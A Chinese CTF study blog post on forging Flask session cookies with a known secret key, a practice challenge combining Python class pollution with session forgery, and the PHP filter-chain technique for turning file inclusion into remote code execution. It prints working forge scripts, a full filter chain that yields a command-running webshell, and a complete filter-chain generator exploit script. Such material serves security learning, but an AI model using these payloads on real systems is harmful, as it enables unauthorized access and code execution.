flask session伪造

参考:https://www.cnblogs.com/GTL-JU/p/16960460.html

https://paoka1.top/2022/05/28/Flask-%E7%9A%84-SESSION-%E4%BC%AA%E9%80%A0/

在最近的几次比赛中都遇到了这个session,格式特别像JWT,没有了解过这个内容很可能混淆,所以这里学习一下

flask的session结构

这里我们可以用flask搭建一个本地网站生成session:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/',methods=['GET'])
def set_session():
name = request.args.get('name')
session['name']=name
return 'welcome %s' % name

if __name__ == '__main__':
app.run(debug=True, port=8080)

我们将session单独拿出来看看:

1
2
3
eyJuYW1lIjoiWkxBUllZIn0.acnmwQ.vk4_UCfBIl-iNcvTpc60DAXYB7w

base64解码之后为{"name":"ZLARYY"}ry�B�8P'�"X�r��s�v�

由此我们可以直观地看到:flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

伪造session

那么伪造flask session的方法就很清晰了:与JWT伪造相同,我们需要知道SECRET_KEY。

需要用到的工具:https://github.com/noraj/flask-session-cookie-manager

这里我们已知SECRET_KEY是ZLARYY,那么我们利用这个工具尝试伪造一个session,在此之前我们把源码的内容稍微修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/', methods=['GET'])
def index():
if 'name' in request.args:
name = request.args.get('name')
session['name'] = name

current_user = session.get('name')

if current_user == 'admin':
return 'flag is ZLARYY{Y0u_Ar3_f1a5k_SEs5l0n_m@s73r}'
else:
return f'Welcome, {current_user}'

if __name__ == '__main__':
app.run(debug=True, port=8080)

这样就能验证我哦们的session是否伪造成功了

我们将生成的cookie替换浏览器上的cookie:

伪造成功

或者这里还有一个生成 cookie的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'ZLARYY'
fake_session = {'name': 'admin'}

# 直接调用本机 Flask 核心方法生成 Cookie
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie_data = serializer.dumps(fake_session)

# 兼容不同的 Flask 版本(有些版本生成的是 bytes,需要转成纯文本)
if isinstance(cookie_data, bytes):
forged_cookie = cookie_data.decode('utf-8')
else:
forged_cookie = cookie_data

print(f"伪造的Cookie:\n{forged_cookie}\n")

例题

[NSSRound#13 Basic]flask?jwt?

这道题我们随便注册一个账号登录进去查看一下session:

1
session=.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E

可以看到前面有一个.号,明显不符合我们刚才所说的session格式:如果 Session 的第一段以 . 开头,这意味着这串数据在Base64编码之前,先经过了zlib压缩。

我们用这串python脚本解码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
import zlib
import json

cookie = ".eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E"
# 1. 提取核心数据段 (按点分割后的第二个元素)
payload = cookie.split('.')[1]
# 2. 补全 Base64 的 '=' 填充 (Padding)
# Base64 要求长度必须是 4 的倍数,Flask 默认会去掉末尾的 '=',我们得补回来
padding = '=' * (4 - (len(payload) % 4))
padded_payload = payload + padding
# 3. Base64 (URL-safe) 解码
compressed_data = base64.urlsafe_b64decode(padded_payload)
# 4. zlib 解压缩
json_bytes = zlib.decompress(compressed_data)
# 5. 转换为 JSON 字典并打印
parsed_data = json.loads(json_bytes.decode('utf-8'))
print("session内容:")
print(json.dumps(parsed_data, indent=4, ensure_ascii=False))

当Session里的数据比较多(比如存了复杂的字典或长字符串)时,Flask就会自动触发压缩机制

回到这道题,我们可以在一开始的忘记密码页面找到secret_key:

1
th3f1askisfunny

猜测admin的_user_id是1,执行:

1
python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh':True,'_id':'f6096af435bac7d1616a0649a3ce07738100f53270dfaa4a15b602c0d3af8367a17ce41804e00d74d294357455b48cd2355de1fa19693cc45b63988629efcc26','_user_id': '1'}"

最后替换到cookie中刷新界面点击拿flag就好了:

python原型链污染与session伪造

学到这里联想到了之前存在的python原型链污染,结合起来可以出一道题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from flask import Flask, request, session, jsonify, render_template_string
import os

app = Flask(__name__)
# 每次重启生成强随机密钥,防御“非预期解”
app.config['SECRET_KEY'] = os.urandom(32).hex()

HTML_PAGE = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ZLARYY's User Center</title>
<style>
/* 默认亮色主题 */
body.light { background-color: #f4f6f9; color: #333; transition: 0.5s; }
.box.light { background: white; border: 1px solid #ddd; }

/* 暗黑主题 */
body.dark { background-color: #1a1a1a; color: #00ff00; transition: 0.5s; }
.box.dark { background: #222; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; }

body { font-family: 'Courier New', Courier, monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
.container { text-align: center; padding: 40px; border-radius: 10px; width: 400px;}
button { padding: 10px 20px; margin: 10px; cursor: pointer; border-radius: 5px; border: 1px solid #888; font-weight: bold; }
.flag-btn { background-color: #e74c3c; color: white; border: none; margin-top: 30px;}
</style>
</head>
<body class="light" id="page-body">
<div class="container box light" id="content-box">
<h2>👋 Welcome, <span id="role-text">{{ role }}</span>!</h2>
<p>You can customize your profile theme below.</p>

<hr>
<p>Theme Settings:</p>
<button onclick="updateTheme('light')">☀️ Light Mode</button>
<button onclick="updateTheme('dark')">🌙 Dark Mode</button>
<br>

<button class="flag-btn" onclick="getFlag()">🚩 Get Secret Flag</button>
</div>

<script>
// 前端通过 Fetch API 发送 JSON 数据给后端
function updateTheme(themeName) {
fetch('/api/update_profile', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
// 正常业务只会发送类似 {"theme": "dark"} 的数据
body: JSON.stringify({ "theme": themeName })
})
.then(res => res.json())
.then(data => {
if(data.current_theme) {
// 动态切换前端 CSS 类名
document.getElementById('page-body').className = data.current_theme;
document.getElementById('content-box').className = "container box " + data.current_theme;
console.log("Profile updated:", data.msg);
}
});
}

// 尝试获取 Flag 的请求
function getFlag() {
fetch('/get_flag')
.then(res => res.json())
.then(data => {
if(data.flag) {
alert("🎉 Success! " + data.flag);
} else {
alert("❌ Error: " + data.error);
}
});
}
</script>
</body>
</html>
"""
class UserProfile:
def __init__(self):
self.theme = "light"
self.language = "zh_CN"

current_profile = UserProfile()

def unsafe_merge(target, payload):
for key, value in payload.items():
if isinstance(target, dict):
if isinstance(value, dict) and key in target:
unsafe_merge(target[key], value)
else:
target[key] = value
elif hasattr(target, key):
if isinstance(value, dict):
unsafe_merge(getattr(target, key), value)
else:
setattr(target, key, value)

@app.route('/', methods=['GET'])
def index():
if not session.get('role'):
session['role'] = 'guest'
return render_template_string(HTML_PAGE, role=session.get('role'))

@app.route('/api/update_profile', methods=['POST'])
def update_profile():
try:
data = request.get_json()
if not data:
return jsonify({"error": "Invalid JSON"}), 400

unsafe_merge(current_profile, data)

return jsonify({
"msg": "Theme synced successfully",
"current_theme": current_profile.theme
})
except Exception as e:
return jsonify({"error": str(e)}), 500

@app.route('/get_flag', methods=['GET'])
def get_flag():
if session.get('role') == 'admin':
return jsonify({"flag": "ZLARYY{Th3m3_Sw1tch_L3ads_T0_R00t}"})
else:
return jsonify({"error": "Access Denied. You are not admin!"}), 403

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

这道题的思路是通过切换主题去尝试污染SECRET_KEY然后去伪造session,试试通过Get Secret Key拿到flag吧

filter-chain

这种利用姿势源自于漏洞CVE-2024-2961,本质上是实现从本地文件包含再到远程代码执行。

参考:https://err0r233.github.io/posts/28510.html

https://cloud.tencent.com/developer/article/2287108

一些常见的filter(过滤器)

convert.base64-encode:执行base64加密处理

convert.base64-decode:执行base64解密

string.lower:将字符串转为小写

string.upper:将字符串转为大写

convert.iconv.X.Y:将字符串从X编码转换为Y编码形式

部分过滤器在之前写文件包含的exit死亡绕过的时候就已经提到过了,这里提一点进阶的内容:

convert.base664-decode有一个极其宽容的特性,当对字符串进行base64解码操作的时候,遇到不属于base64(a-z,A-Z,0-9,+/)字母表的内容,就会直接无视并丢弃,比如:

1
ZLA($@!RY*^Y66

对这串字符串进行base64解码操作之后再次base64编码得到的结果

可以看到就是去除了特殊字符得到的结果

其实真正构造出payload的部分是靠iconv过滤器,比如将字符串从UTF-8转换为CSISO2022KR:

1
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://text/plain,ZLARYY66

可以看到在我们的字符串前面加上了一个不可见字符和$)C,这样再经过一次base64解码和base64编码就会看到我们硬生生在字符串前面加上了一个字符C:

1
php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://text/plain,ZLARYY66

同理,我们利用其他的iconv过滤器就能构造出其他的字符,而文件包含是可以配合上RCE的:

1
php://filter/resource=data://text/plain,<?php system('ls /');?>

那么我们就可以尝试通过过滤器链构造出一段php代码添加在最后查询的文件前面,比如:

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=ls /

这一串过滤器链产生的是<?=`$_GET['0']`?>这段php代码

EXP

这里给出之前提到参考文章中的一个大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload

def main():

# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")

parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)

if __name__ == "__main__":
main()

用法是python3 php_filter_generator.py --chain 'xxx'